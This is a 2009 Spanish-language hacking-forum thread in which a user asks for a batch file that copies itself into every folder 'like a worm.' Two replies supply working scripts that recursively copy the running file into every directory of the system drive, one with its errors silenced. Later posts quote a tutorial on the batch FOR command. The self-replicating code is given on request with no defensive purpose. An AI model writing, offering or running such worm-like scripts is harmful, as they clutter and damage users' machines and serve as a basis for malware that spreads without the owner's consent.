elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Batch] programas que se autoduplican
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Batch] programas que se autoduplican  (Leído 4,368 veces)
Dothoez

Desconectado Desconectado

Mensajes: 1


Ver Perfil
[Batch] programas que se autoduplican
« en: 13 Enero 2009, 00:05 am »

Hola a todos
He intentado de todas las formas que se y hasta las que no se, el crear un bat que se autoduplique, esto es que se copie en todas y cada una de las carpetas que existen, tipo worm, será esto posible se todo lo necesario para crear bat y hasta más así que no se preocupen en explicar nada, solo tiren el código y ya, les agradeceré mucho ya que esto seria de gran ayuda.

Para convertir de bat a exe uso el Quit Bat File Compiler y portable además si lo quieren dejen su mail ;D


« Última modificación: 9 Marzo 2009, 13:54 pm por sirdarckcat » En línea

Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: bat que se autoduplican
« Respuesta #1 en: 13 Enero 2009, 00:08 am »

Código:
@echo off
cd %homedrive%
For /r %%x in ( Darioxhcx.bat ) Do copy %0 %%x
pause
fijate si así te gusta xD
saludos


« Última modificación: 7 Marzo 2009, 21:22 pm por Leo Gutierrez. » En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: bat que se autoduplican
« Respuesta #2 en: 13 Enero 2009, 00:15 am »

Código:
@echo off
cd /d "%homedrive%\"
for /d /r %homedrive% %%x in (*) do (
copy /y "%0" "%%x" > nul 2>&1
)
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
river_0119

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: bat que se autoduplican
« Respuesta #3 en: 7 Marzo 2009, 19:09 pm »

pueden explicar por favor? :)


les estare agradecido ::)

En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: bat que se autoduplican
« Respuesta #4 en: 7 Marzo 2009, 21:23 pm »

pueden explicar por favor? :)


les estare agradecido ::)



A que te refieres?, a explicar cada codigo?
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: bat que se autoduplican
« Respuesta #5 en: 7 Marzo 2009, 22:06 pm »

esto esta explicado
los parametros del FOR
lo que son el /R y /D

http://foro.elhacker.net/scripting/programacion_batch_avanzada_nuevo-t132924.0.html

en esta parte
FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:
Código:
FOR /L %%var IN (inicio,incremento,fin) DO (acciones)
inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:


Código:
FOR /L %%i IN (0,1,10) DO (echo %%i)imprimira 0 1 2 3 4 5 6 7 8 9 10
o:


sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:


Código:
FOR %%x in (x*) DO echo %%x.
mostrará todos los archivos que empiezan con x

para SOLO mostrar directorios:


Código:
FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute  dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:



Código:
├───adios
│   └───algo
│       └───xx
└───hola
al ejecutar el comando:


Código:
FOR /R /D %%x in (a*) DO echo %%x
Código:
C:\adios
C:\adios\algo
sinembargo, al ejecutar el comando..


Código:
FOR /R %%x in (*x*) DO echo %%x
C:\ax.txt
C:\adios\sx.txt
C:\adios\wwx.txt
C:\adios\algo\kkx.txt
C:\adios\algo\xx\xx.txt
C:\hola\ax.txt
C:\hola\rx.txt
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:



Código:
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)
conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" ")
comando -> con comilla simple (' ')

las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [´]

por ejemplo, el siguiente comando:

buee y todo eso

saludos
En línea

river_0119

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: bat que se autoduplican
« Respuesta #6 en: 7 Marzo 2009, 22:23 pm »

si es posible si :rolleyes:

tengo inquietudes en el comando for


 ::)

gracias



En línea

river_0119

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: bat que se autoduplican
« Respuesta #7 en: 7 Marzo 2009, 22:28 pm »

soy casi nuevo en programacion

 ::)

no estaria de mas una explicaion del comando FOR
en este codigo


gracias
 

PD:  que se pone en "*"
En línea

Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: bat que se autoduplican
« Respuesta #8 en: 7 Marzo 2009, 23:05 pm »

si sos nuevo , lo mejor seria empezar desde el principio
desde la base , saber que es %0 x ejemplo
y otras variables de archivos y sistemas
* < >  | &  y demas..
despues de una semana vas a ver el For y va a ser mas facil
saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda en la sintaxis Programas en Batch/bat
Scripting
XXXNEUROXXX 1 4,213 Último mensaje 9 Julio 2013, 23:28 pm
por Eleкtro
Administración de programas desde batch
Dudas Generales
Rulk90 0 1,130 Último mensaje 16 Diciembre 2022, 21:25 pm
por Rulk90
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines